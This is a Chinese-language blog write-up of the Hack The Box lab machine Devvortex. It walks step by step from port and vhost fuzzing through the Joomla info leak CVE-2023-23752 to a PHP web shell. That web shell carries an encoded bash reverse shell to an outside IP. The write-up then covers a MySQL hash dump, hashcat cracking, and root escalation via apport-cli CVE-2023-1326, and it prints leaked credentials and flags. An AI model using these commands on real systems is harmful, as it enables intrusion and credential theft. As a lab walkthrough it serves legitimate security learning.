HTB-Devvortex

metafa1ica

垃圾题目,一个劲爆破

1
2
3
4
10.129.90.31    devvortex.htb
ip='10.129.90.31'
ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep ^[0-9] | cut -d '/' -f 1| tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV $ip

只开了22和80

image

vhost爆破

1
ffuf -w subdomains-top1million-5000.txt:FUZZ -u http://devvortex.htb -H 'Host: FUZZ.devvortex.htb' -fw 4 -t 100

image

image

1
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FFUZ -u http://dev.devvortex.htb/FFUZ/ -ic -t 100

Joomla

爆破出一个路径

image

/manifests/files/joomla.xml能看到版本

image

CVE-2023-23752

4.0.0 <= Joomla <= 4.2.7,未授权访问

1
2
/api/index.php/v1/users?public=true
/api/index.php/v1/config/application?public=true

image

image

账号密码:lewis/P4ntherg0t1n5r3c0n##

反弹shell

后台可以直接编辑php代码,直接RCE

image

image

image

1
2
3
4
bash -c "bash -i >& /dev/tcp/10.10.16.42/8989 0>&1"
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40Mi84OTg5IDA+JjEi

<?php system("echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40Mi84OTg5IDA+JjEi|base64 -d|bash"); ?>

放到这,需要/templates/cassiopeia/error.php/123123让他报错触发,如果是访问/templates/cassiopeia/error.php没用

image

image

脱库

home里有个logan用户,和管理端里注册的一个用户名一致,所以想办法找下密码登下ssh试试

image

web目录下的configuration.php有管理员账号密码和数据库密码

image

1
2
3
find / -name 'configuration.php' 2>/dev/null
mysql -u'lewis' -p'P4ntherg0t1n5r3c0n##' -e 'SHOW TABLES FROM joomla;'
mysql -u'lewis' -p'P4ntherg0t1n5r3c0n##' -e 'select username,password from joomla.sd4fg_users;'
1
2
3
4
5
6
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| lewis | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u |
| logan | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 |
+----------+--------------------------------------------------------------+

爆破

用hashid判断什么加密类型

image

1
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt

爆破出密码为tequieromucho

横移

1
ssh logan@10.129.90.31

image

cde6d1ee0995c2b2fda2431ea1561b13

提权

image

问了问GPT

/usr/bin/apport-cli 属于 Apport(Ubuntu/Debian 的错误报告工具)。
它在旧版本里自带一个 “报告查看器” (apport-cli -f <report>),而这个查看器默认会调用系统 $PAGER,缺省就是 less
如果 apport-cli 让你交互式查看文件,你就能从 less 里用 !sh 直接拿到 shell——从而把 (ALL : ALL) 的 sudo 权限转化为 root shell。

1
2
3
# 生成个crash
sleep 100 & kill -SEGV $!
sudo /usr/bin/apport-cli

试了下不行,但原理确实如此。换种更好触发less分页器的方式

看了下版本是2.20.11, 有CVE-2023-1326

image

先找个pid,比如systemd的

image

1
sudo /usr/bin/apport-cli -f -P 1686

一路y下去

image

到这选可视模式V

image

触发less后输入!/bin/bash就出shell了

image

9db5ee1c5652037bfaec1efcb9e26b85

  • 标题: HTB-Devvortex
  • 作者: metafa1ica
  • 创建于 : 2025-07-30 20:54:13
  • 更新于 : 2025-08-17 13:29:27
  • 链接: https://metafa1ica.github.io/post/462efc917bd2/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论